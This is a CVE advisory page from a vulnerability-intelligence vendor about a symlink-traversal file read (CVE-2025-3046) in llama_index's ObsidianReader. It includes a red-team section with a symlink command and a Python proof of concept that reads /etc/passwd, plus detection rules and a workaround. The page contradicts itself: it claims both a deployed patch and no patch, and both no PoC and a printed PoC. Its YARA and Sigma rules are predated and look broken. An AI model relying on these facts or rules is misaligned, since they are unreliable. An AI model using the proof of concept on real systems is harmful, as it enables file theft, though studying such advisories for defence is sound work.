☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.5 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-3046

CVE-2025-3046 Arbitrary File Access in Run-llama
📅 PUBLISHED: 2025-07-07 09:54 UTC 🔄 UPDATED: 2026-09-23 20:20 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.56%
👁️
0.56% probability
14.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-3046 is a high-severity vulnerability (CVSS 7.5) in the ObsidianReader class of the run-llama/llama_index repository, affecting versions 0.12.23 through 0.12.28. The flaw allows an attacker to read arbitrary files on the host system by exploiting a symlink traversal weakness. The ObsidianReader fails to resolve symbolic links to their real paths and does not validate whether the resolved paths remain within the intended vault directory. This enables an attacker to place a malicious symlink pointing to a sensitive file (e.g., /etc/passwd) inside the vault directory; when the reader processes Markdown files, it follows the symlink and reads the target file, potentially exposing confidential information.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the llama_index Python package, which is distributed via PyPI. Users who install versions 0.12.23 through 0.12.28 are at risk. The package is widely used in AI/ML pipelines for indexing and querying documents, making this a supply chain risk for organizations that rely on this library. No official patch has been released as of the advisory date.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.5 (High)
  • Attack Vector: Network (AV:N) – The vulnerability can be triggered remotely if an attacker can supply a crafted vault directory.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – The vulnerable component and the affected resource are in the same security authority.
  • Confidentiality Impact: High (C:H) – Arbitrary file read can expose sensitive data.
  • Integrity Impact: None (I:N) – No data modification.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is easy to exploit remotely with no authentication, and it can lead to significant data leakage.

Deep Dive & Mechanics

The ObsidianReader class is designed to read Markdown files from an Obsidian vault directory. The vulnerability arises from two key flaws:

  1. Symlink Resolution Failure: The code does not call os.path.realpath() or equivalent to resolve symbolic links before processing files. When iterating over files in the vault directory, it uses os.path.join() and os.listdir() which do not resolve symlinks.

  2. Path Validation Absence: There is no check to ensure that the resolved path of a file (after following symlinks) remains within the intended vault directory. This allows a symlink pointing to /etc/passwd to be treated as a valid Markdown file.

Attack Scenario:

  • An attacker gains write access to the vault directory (e.g., through a file upload feature or a compromised user).
  • The attacker creates a symbolic link inside the vault: ln -s /etc/passwd malicious_link.md
  • When ObsidianReader processes the vault, it reads malicious_link.md, follows the symlink, and reads /etc/passwd.
  • The content is then indexed and potentially exposed to the attacker through the application's output.

Vulnerable vs. Patched Code

Vulnerable Code (llama_index 0.12.23-0.12.28):

class ObsidianReader:
    def __init__(self, vault_dir: str):
        self.vault_dir = vault_dir

    def load_data(self):
        files = []
        for root, dirs, filenames in os.walk(self.vault_dir):
            for filename in filenames:
                if filename.endswith('.md'):
                    filepath = os.path.join(root, filename)
                    # No symlink resolution or path validation
                    with open(filepath, 'r') as f:
                        content = f.read()
                    files.append(content)
        return files

Patched Code (Hypothetical Fix):

import os

class ObsidianReader:
    def __init__(self, vault_dir: str):
        self.vault_dir = os.path.realpath(vault_dir)

    def load_data(self):
        files = []
        for root, dirs, filenames in os.walk(self.vault_dir):
            for filename in filenames:
                if filename.endswith('.md'):
                    filepath = os.path.join(root, filename)
                    real_path = os.path.realpath(filepath)
                    # Validate that the resolved path is within the vault directory
                    if not real_path.startswith(self.vault_dir):
                        continue  # Skip symlinks pointing outside
                    with open(real_path, 'r') as f:
                        content = f.read()
                    files.append(content)
        return files

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • Write access to the Obsidian vault directory (e.g., via file upload or shared filesystem).
  • Target running llama_index version 0.12.23-0.12.28.

Exploitation Steps:

  1. Create a malicious symlink inside the vault directory:
    ln -s /etc/passwd /path/to/vault/malicious_link.md
    
  2. Trigger the ObsidianReader to process the vault (e.g., by calling load_data()).
  3. The reader will read /etc/passwd and include its content in the output.

Proof of Concept (Python):

import os
from llama_index.readers.obsidian import ObsidianReader

# Assume attacker has write access to /tmp/vault
vault_dir = "/tmp/vault"
os.makedirs(vault_dir, exist_ok=True)
os.symlink("/etc/passwd", os.path.join(vault_dir, "evil.md"))

reader = ObsidianReader(vault_dir)
data = reader.load_data()
print(data)  # Contains /etc/passwd content

Blue Team (Defender)

Detection:

  • Monitor for unexpected symlinks in vault directories.
  • Use file integrity monitoring (FIM) to detect creation of symlinks in sensitive directories.
  • Implement path validation in custom code if using ObsidianReader.

Mitigation:

  • Upgrade to a patched version once available.
  • If patching is not possible, implement a wrapper that resolves symlinks and validates paths before passing the directory to ObsidianReader.
  • Restrict write access to vault directories to trusted users only.

Indicators of Compromise (IOCs)

  • File System:

    • Unexpected symlinks in Obsidian vault directories pointing to sensitive files (e.g., /etc/passwd, /etc/shadow, /proc/1/environ).
    • Files with .md extension that are actually symlinks to non-Markdown files.
  • Network:

    • Unusual outbound data containing sensitive file contents (e.g., password hashes, configuration files).
  • Logs:

    • Application logs showing file read errors or unexpected file paths.
    • Security logs indicating symlink creation events in vault directories.

Detection Engineering

YARA Rule

rule CVE_2025_3046_Symlink_Read
{
    meta:
        description = "Detects symlink files in Obsidian vault directories that may be used for arbitrary file read"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3046"
    strings:
        $symlink_magic = { 21 00 00 00 00 00 00 00 }  // NTFS symlink reparse point (Windows)
        $unix_symlink = { 2F 65 74 63 2F 70 61 73 73 77 64 }  // "/etc/passwd"
    condition:
        $symlink_magic or $unix_symlink
}

Sigma Rule

title: CVE-2025-3046 - Symlink Traversal in ObsidianReader
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects creation of symlinks in Obsidian vault directories that could lead to arbitrary file read
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 11  # FileCreate
        TargetFilename|contains: '\.md'
        TargetFilename|endswith: '\.md'
    condition: selection
falsepositives:
    - Legitimate symlinks created by users
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-3046 - Potential Symlink Traversal in ObsidianReader"; flow:to_server,established; content:"/etc/passwd"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable the use of ObsidianReader in production environments until a patch is applied.
  2. Patch: Monitor the run-llama/llama_index repository for an official fix. Apply the patch as soon as it is released.
  3. Workaround: Implement a wrapper that resolves symlinks and validates paths before passing the directory to ObsidianReader:
    import os
    from llama_index.readers.obsidian import ObsidianReader
    
    class SafeObsidianReader:
        def __init__(self, vault_dir: str):
            self.vault_dir = os.path.realpath(vault_dir)
            self.reader = ObsidianReader(self.vault_dir)
    
        def load_data(self):
            # Override to add validation
            files = []
            for root, dirs, filenames in os.walk(self.vault_dir):
                for filename in filenames:
                    if filename.endswith('.md'):
                        filepath = os.path.join(root, filename)
                        real_path = os.path.realpath(filepath)
                        if not real_path.startswith(self.vault_dir):
                            continue
                        with open(real_path, 'r') as f:
                            content = f.read()
                        files.append(content)
            return files
    
  4. Access Control: Restrict write access to vault directories to only trusted users and processes.
  5. Monitoring: Implement file integrity monitoring (FIM) to detect unauthorized symlink creation in vault directories.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-3046/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.